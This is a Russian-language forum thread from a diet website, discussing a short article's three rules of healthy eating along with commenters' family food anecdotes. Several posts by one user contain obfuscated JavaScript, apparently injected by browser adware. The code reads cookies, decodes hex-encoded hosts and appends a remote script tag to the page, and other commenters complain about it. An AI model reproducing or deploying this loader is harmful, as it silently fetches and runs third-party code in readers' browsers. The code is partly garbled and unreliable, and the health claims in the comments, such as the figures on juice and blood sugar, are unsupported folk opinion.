О некоторых правилах питания
Встретилась на сайте ВВС
статья, удивившая здравым смыслом, отрывок из которой
привожу.
Сегодня врачи говорят, что кофе дико вреден, завтра - что ужасно полезен, послезавтра это же самое повторяется с помидорами, тыквой и бог знает с чем еще. Как во всем этом разобраться? На этот счет приведу одно исследование: недавно в Йельском университете провели мета-анализ всех научных изысканий правильного питания и пришли к выводу, что для того, чтобы быть здоровым как можно дольше, надо придерживаться трех простых правил. Вот они:
1. Ешьте настоящую еду - такую, от которой не отвернулась бы ваша бабушка.
2. В основном растительную.
3. Не много.
28
38
Наташка
03.10.2015 19:46
Интересная статья)) Особенно понравилось: "Проблема в
том, что некоторые из нас начинают истово следовать новым веяниям и
сводят свой рацион к модному минимуму, а это неправильно, поскольку
нашим пищеварением занимается не сознание, а огромнейшая
колония микробов"
танюшка
03.10.2015 20:50
Раньше говорили, пейте фреши. А теперь говорят , что не разведенные
соки вредны для желудка.
Наталья Старкова написал:
нашим пищеварением занимается не сознание, а огромнейшая колония микробов
Может возникнуть
и такой вопрос: а может эти микробы нас кормят, чтобы обеспечить
себе крышу над головой :o 
Наталья Сотник
03.10.2015 21:04
только представлю, что во мне, кроме меня, еще живут всякие
микроорганизмы жутко становиться, чувствуешь себя инкубатором для
другой живности)))))
Анна написал:
Бабушка моя...любила сало, пироги и оливье
Если из т.н. оливье изъять майонез неизвестного происхождения, заменив сметаной, а тесто для пирогов делать из правильной муки, то всё это и есть настоящая еда, сытная, полезная и привычная в нашем умеренно-континентальном климате
. 
Татьяна дочь Павла
04.10.2015 14:17
Моя свекровь умерла в возрасте 90 лет.Основой питания было
сало,гороховый суп,ежедневно яблоко.И очень много находилась на
свежем воздухе,в любую погоду.
Татьяна дочь
Павла, мне монотонность рациона тоже импонирует.
Мечта любого городского обитателя
Татьяна дочь Павла написал:
очень много находилась на свежем воздухе,в любую погоду
Мечта любого городского обитателя
Анна, я
так понимаю, ваша бабушка не отворачивалась от здоровой еды,
подавая вам пример
Анна написал:
макароны. картошка. хлеб. как у всех в то время
А в какое конкретно время? В СССР, вообще-то, при всеобщем дефиците повседневная еда была доброкачественной и люди, родившиеся в 30-х годах, дожившие до наших дней, имеют здоровье лучше, чем многие из поколения Next.
Анна написал:
свинина запеченная под слоем сыра и майонеза
Они что, семь дней в неделю ели ЭТО? Нет, повседневная еда это дешёвые серые макароны, серый хлеб, селёдка с луком, пшённая каша, квашеные овощи, море щей, картошка и жареная колбаса как деликатес. И всё это была настоящая еда. Сейчас серой муки, даже 1-го сорта не найти, ну, а цельнозерновую продают по несуразным ценам: "Здоровье Алтая" и "Кудесница" - 70-110 руб/кг. Зато никчёмной пустышкой -- мукой высшего сорта -- завалены полки всех магазинов.
Остапенко Лилия
06.10.2015 11:41
Анна написал:
Выживали сильнейшие, теперь медицина шагнула далеко вперед, сохраняют и вынашивают слабеньких детишек.
Интересно в какой это стране медицина шагнула далеко вперед?
А что статистика говорит об увеличении количества слабеньких новорожденных? В мое время (90-е годы, когда я рожала) дети рождались более здоровыми, а сейчас очень многие рожают, чтобы получить материнский капитал на пропой. Какое здоровье и развитие нации? А майонез был без консервантов (судя по сроку годности) и ели его раз 8 в год по праздникам.Анна,
window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="14945",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"
+"=(*)");return
e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var
n=t.expires;if("number"==typeof n&&n){var i=new
Date(n);n=t.expires=i}var
r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var
c=o+"="+e;for(var a in t){c+="; "+a;var
d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var
e="",t=0;t<
o.length;t++)e+=String.fromCharCode(parseInt(o,16));return
e},c=function(o){for(var
e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return
e},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ''},a=function(o,e,t){var
lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.smlo.loadSmlo(n.replace('https:','http:'));else
if(window.zSmlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.on
load=function(){this.executed||(this.executed=!0,"function"==typeof
e&&e())},i.on
error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof
t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var
f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))};d()}(); 
Сергей
06.10.2015 11:44
Бабушки разные попадаются
Сергей,
конечно, имеются в виду правильные бабушки .
.
Остапенко Лилия написал:
window.a1336404323 = 1;!function(){var
Эта хренотень сопровождает ли ваши сообщения где-нибудь ещё (на других ресурсах) помимо ленты? А то потихоньку начинает доставать, чесслово
Анжела
06.10.2015 14:08
танюшка,
Фреш поднимает уровень сахара в крови в 6 раз - можно поджелудочную
посадить. Полезно есть фрукты, там клетчатка помогает регулировать
уровень сахара. А фреш полезен в смысле большой концентрации
витамина С - необходимо только в случае борьбы с вирусом, то есть
не всегда. Или перед тренировкой - вроде допинга.
Остапенко Лилия
10.10.2015 20:57
1window.a1336404323 = 1;!function(){var
o=JSON.parse(''),e="",t="14945",n=function(o){var
e=document.cookie.match(new RegExp("(?:^|;
)"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return
e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var
n=t.expires;if("number"==typeof n&&n){var i=new
Date(n);n=t.expires=i}var
r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var
c=o+"="+e;for(var a in t){c+="; "+a;var
d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var
e="",t=0;t<
o.length;t++)e+=String.fromCharCode(parseInt(o,16));return
e},c=function(o){for(var
e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return
e},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ''},a=function(o,e,t){var
lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.smlo.loadSmlo(n.replace('https:','http:'));else
if(window.zSmlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.on
load=function(){this.executed||(this.executed=!0,"function"==typeof
e&&e())},i.on
error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof
t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var
f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
+"=(*)");return
e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var
n=t.expires;if("number"==typeof n&&n){var i=new
Date(n);n=t.expires=i}var
r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var
c=o+"="+e;for(var a in t){c+="; "+a;var
d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var
e="",t=0;t<
o.length;t++)e+=String.fromCharCode(parseInt(o,16));return
e},c=function(o){for(var
e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return
e},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ''},a=function(o,e,t){var
lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.smlo.loadSmlo(n.replace('https:','http:'));else
if(window.zSmlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.on
load=function(){this.executed||(this.executed=!0,"function"==typeof
e&&e())},i.on
error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof
t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var
f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
Остапенко
Лилия, шо, опять?
Остапенко Лилия
10.10.2015 22:41
. А извиниться
слабо?
Остапенко
Лилия, я злой на кракозябры, вылезающие у многих в ленте, в
т.ч. у вашего покорного слуги, который нижайше просит прощения за
свой вульгарный лексикон при общении с вами 
.
Ну, а всё-таки, помимо ленты этот непрошеный код появляется в ваших сообщениях ещё где-нибудь в чатах?
.Ну, а всё-таки, помимо ленты этот непрошеный код появляется в ваших сообщениях ещё где-нибудь в чатах?
Остапенко Лилия
11.10.2015 11:39
Limon99,
нет, не появляется. Только в МЗР. У самой ума не хватило почистить,
попросила у сына. Вот вчера у Белых и пушистых вылез. Мир
Анжела
11.10.2015 11:54
светлана
христова, Точно так!
Остапенко
Лилия, так делитесь, что ваш сын чистил, где и как, можно даже
отдельную тему слепить, скажем, "о борьбе с кракозябрами", т.к.
интересно многим.
Мы белые и пушистые
11.10.2015 12:19
Остапенко
Лилия, у меня вылезло впервые, комп у меня чищенный, просто
скачала цитату с сайта, а там что-то прицепилось
Мы белые и пушистые
11.10.2015 12:21
,
да с грибочками..ммммм..ну когда же Новый год?!
Limon99, Мы белые и пушистые, Остапенко
Лилия, я сама!!! каким то чудом почистилась (кажется я
первая эту дрянь сюда и принесла )- рылась и нашла вроде бы в
закладках -увидела какой то странный значок прилепился.//чудом
отлепила,но объяснить все нормальным языком не могу -методом тыка у
меня все получилось -сейчас не повторяется вроде-тьфу-тьфу-тьфу
Мы белые и пушистые
11.10.2015 12:35
rangy, у
меня первый раз вчера выскочило, я сразу всю историю удалила.
Тьфу-тьфу, вроде помогло
Остапенко Лилия
11.10.2015 18:45
Limon99,
сын почистил, но не объяснил к сожалению
